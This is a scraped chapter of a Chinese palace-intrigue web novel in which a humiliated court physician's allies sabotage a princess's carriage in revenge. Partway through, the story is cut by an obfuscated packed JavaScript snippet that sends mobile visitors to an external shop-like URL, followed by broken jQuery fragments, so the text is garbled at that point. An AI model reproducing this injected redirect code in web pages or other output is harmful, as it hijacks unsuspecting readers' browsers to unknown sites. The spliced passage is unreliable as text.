默认冷灰
24号文字
方正启体

16. 第十六章:报复

作者:云阿昭本书字数:K更新时间:
    今日初晨,凌霄推开窗,只见院内白茫茫一片。


    今年第一场雪。


    昨日帮太医署整理卷宗,直到后半夜,宫门已关,众人便纷纷找个小角落睡下。


    风从窗过,医女们被吹醒,一个两个地皆聚于窗口。


    杨安从窗前经过时,见女眷们纷纷齐看于她,不知为何,倒显得慌乱了起来。


    还未等凌霄开口,他便自顾自离开。


    凌霄挤出去,舒展了下筋骨。


    她心想,长安第一场雪,今晚便去找张云泽吧,正好今日没什么活。


    梳洗一番后,她交代好墨儿,依旧照例前往凤銮殿。


    回程时,却碰上了大公主。


    李婉言见跪地叩首的凌霄,并未叫她平身,反而裹紧了毛领,自顾自说道:“长安自古如此,突然一下气温骤降,倒叫本公主反应不及,差点冻死!”


    身旁侍女附和:“是啊,婢子今早也是被冷醒的。”


    李婉言蹬了她一眼,无奈地鼻息一叹。


    侍女不知自己如何说错话,但见公主这副模样,只好垂下头。


    李婉言又继续道:“凌霄,你说本公主要罚你,你认不认?”


    凌霄心下一紧,抿了抿唇,道:“公主要罚,下官自然……”


    啪——


    “公主为何?”凌霄捂住左脸,死死咬住下唇。


    李婉言甩甩右手,不屑道:“打你就打你,不过是公主可怜捡回来的阿猫阿狗,也配自称臣,也就我妹妹这种人能看得起你们。”


    凌霄重新跪好,不卑不亢道:“此言差矣,公主金枝玉叶,自然不懂人间疾苦。只是我受三公主殿下所托,为天下医女所表率,不敢有违。”


    李婉言没想到居然有人会对她阴阳怪气,气得笑了两声,“你一介小小的孤女,竟然敢用这种语气跟我说话,想必,也定是从小没人教。罢了,三妹的人,我也不能拿你怎样,你呀,就好好做你的医女。”


    她蹲下身,平视凌霄,“我欣赏你的骨气,错就错在你不该太有骨气,在本公主的世界里,只有自己人和下贱的敌人。”


    “你就给我跪在这儿,直到雪停为止,否则,你们这群阿猫阿狗的,我一个也不放过。”话毕,她从凌霄身侧走过。


    因着三公主的恩惠,凌霄并未多言语。


    大公主不可能无缘无故变脸,只能是误以为她站到了皇后那一方。


    但无论哪一方又怎样,她凌霄始终会本本分分做好一名医师。


    约莫有一个时辰,凌霄膝盖早已不刺痛,反倒渐渐麻木起来。


    她低垂着头,呵气成霜,衣裙已被濡湿。


    视线模糊之际,眼前伸出一只手来,下一瞬,裘氅落到她身上,暖意袭来。


    是世子。


    沈予珩蹙眉:“你怎么还是这么犟,就不能认个错,李婉言是个蠢的,只会虚张声势而已。


    凌霄摇头。


    沈予珩无奈轻笑,“还跪啊?她早就回府了,无事。”


    凌霄起身后将裘敞还给她,还顺带一句:“不合礼数。”


    “以前也没见你懂过礼数。”他语气平静。


    凌霄自嘲一笑,“现在哪能比呀,现在在人家手底下讨生活,自是不能比了。我手底下那小侍女聪明,也许再带一年就可以给她讨了好差事,到那时我自然就走了。”


    “你还真是……”


    朱门后,李时晚看着二人谈笑,袖中拳头暗暗攥紧。


    凌霄一瘸一拐,同世子中间也隔了段距离。


    正当二人欲分别时,从后方闪出一道紫色身影,狠狠地撞向沈予珩,许是体型差异较大,沈予珩只是向后退了几步,而她则一屁股摔在雪地上。


    沈予珩诧异,待看清来人后神色骤然冷淡下来。


    李时晚从地上爬起后,第一件事便是扯住沈予珩衣襟,近乎疯狂般吼道:“沈予珩,你有什么资格勾搭女人,你是昭乐的未婚夫,就算是昭乐没了,你也是她的未亡人,你有什么资格……”


    沈予珩始终未发一言,冷静得像个局外人。


    直到侍从从身后跟来,硬生生将李时晚从沈予珩身上扯开,二人这才分开。


    沈予珩理了下衣襟,缓缓吐出一句:“疯子。”


    凌霄早已愣在原地不知所措。


    “还不走?”他朝凌霄颔首。


    “哦好。”凌霄慌乱向郡主欠身,随后便跟上沈予珩步伐。


    凌霄虽没问,但也在心里暗暗思索。


    她想,皇宫里的人果真都是一群疯子,超级大疯子。


    分别时,凌霄被沈予珩叫住,她转身,没想到他会自己开口说。


    “我曾经有过婚约,是陛下的四子,不过,她早夭了。”


    凌霄愣愣点头,不知说什么,只好沉默。


    沈予珩再次看到她那沉默远离的背影,狠狠叹了口气,他扶额,不明白她是如何才能长得这样呆。


    踏出宫门后,赵景迎上,“不是你怎么才出来,知不知道我等你多久了。”


    沈予珩将披风解给他,嬉笑道:“是有点晚了,给你暖暖。”言语间,他步上马车。


    “说正事。”赵景紧跟着踏上去。


    再听到他说要紧快时,赵景扯了扯嘴角,心想:果然是当一把手当惯了,不懂普通人的苦,这前一件事还没个着落,就又有新活儿干了。


    ……


    再几日后,李婉言从花楼出来,喝得醉醺醺。


    但在上车后,她换上另一副嘴脸,坐到阿雀腿上,她捧起他的唇欲亲时,却被躲开了。


    “公主,奴不喜酒味。”阿雀瘪嘴。


    李婉言无奈蹙眉,“放肆~”


    阿雀轻笑,“不容奴放肆?”


    李婉言笑着拍拍她的脸。


    下一瞬,她眼神阴冷,似咬牙切齿道:“听宫人说,那个曲平安近些时日气色好得太多。若不是那老东西做事不周全,能被那小贱人瞧出来?!”


    阿雀连忙捂住她的嘴,“我的祖宗,你小点声儿,要骂回府再骂。”


    李婉言生气甩开她,“我骂就骂了,还能……我怎么总觉得这车晃悠悠的,阿雀,你感受得到吗?”


    须臾间,车身晃得更加剧烈,外头也传来路人的喊声和马儿的嘶吼。


    顷刻,车身骤然坍塌,二人也从车内被甩出。


    李婉言费力撑起自己,她抹了脸上一把,瞧着手中的殷红,未来得及叫喊便昏了过去。


    一整夜,公主府内皆是灯火通明。


    宋淮听着郎中的交代,紧蹙眉头。


    “公主没什么大的伤势,只是那位公子……就不一定了。”


    “嗯……给我水。”


    见李婉言醒后,宋淮急忙端起茶杯将她扶起。


    李婉言一饮而尽,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183166|196982||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她看着手上包扎的痕迹,又摸了摸脸,瞬间嘶嚎了起来。


    “我的脸,给我查!”


    待她平复后,她又问:“阿雀怎样?”


    宋淮沉默。


    “快说!”


    “出事时,他用身子护住了你,然后,有块木桩正好刺到腹部,现在还在昏迷。”话毕,他深深看了眼李婉言。


    李婉言死死咬住唇,不一会,下唇便毫无血色。


    她倔强地不让泪珠落下,不顾宋淮阻拦硬是拖着伤体前去了另一处。


    看着榻上的阿雀,她双目猩红,一字一句道:“都去死吧。”


    ……


    大公主马车失控已在长安城内发酵了一天一夜,只是那夜人格外多,更何况是花楼那种地儿,自是找了各种原因都没个结果来。


    听着医女们在身后议论,凌霄又将头埋深了一寸。


    她只想着教训李婉言一下,不承想差点闹出了人命。


    她分明就记着张云泽说只在轮子上动了手脚,事发后也询问了,搞不懂为何马儿会发狂。


    “哎~”


    要是师父还在,知道她做出这种事,真不知道会怎么想。


    “叹什么气?”


    杨安站在窗前,见她这一副苦苦叹息的模样,微不可察地勾勾嘴角。


    凌霄仰头,无奈摇头,又叹息了一声。


    杨安走进来,为凌霄换伤药,膝前已是青紫。


    待他走后,陈宝儿凑过来,叹息道:“你说你,好好的怎么惹到她了。”


    “就是啊,这膝盖,看着就吓人。”墨儿附和。


    “不过,听说大公主最近可是遭灾了,该不会……”陈宝儿眼神闪烁,压低声音。


    凌霄心虚吞咽了几下口水,“才、才不是我。”


    墨儿也冲宝儿摇头,“不可能,怎么会是师父,不过,要是真是师父,那师父可真是……”说着,她朝凌霄竖起一个大拇指。


    “好吧。”陈宝儿耸肩。


    ……


    入夜后,王忠拎着一盒宵夜,本好好走着,却被一颗石子砸中。他回头看,没人,于是不予理会,但还是被砸了一颗,愤恨之下,他放下食盒,但找寻了一番还是没人,只好悻悻离去。


    那食盒最终被送往东宫。


    ……


    酒楼内,赵景回来后边闷了一壶酒,呛得直咳嗽,他问:“真的没问题?”


    沈予珩扶着酒杯,轻嗤一声,“他不是爱告状吗,正好让他查个够。”


    李明曦看到的食盒里的字条应是这几月李婉言贪墨受惠的几处城县,虽不全,但凭他们二人的不对付,李明曦自然是会纠察到底,然后往朝堂上一跪,求着父皇治罪的。


    “不过,我们为啥不自己查?”赵景一头雾水。


    沈予珩撇嘴,“自然是……省事啊,有现成的为何不用,更何况,我又以什么身份调查,上次兖郡一事也已用军费一声搪塞过去,若我以它来生事,不就坐实欺君了。我也不想掺和他们家的事,哎,闹得慌。这李婉言也是个蠢的,还真以为自己人不知鬼不觉了。”


    赵景摇头:“惨喽,惨喽,贪谁不好,还非得往兖郡贪。不过她这几日可下不来床了,据说把脸给伤了。哎,怪不好意思的,我真只是想让她摔一跤,谁知道车身还给散架了,真是罪过。”


    沈予珩转头看月色,“是可惜。”


    ……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)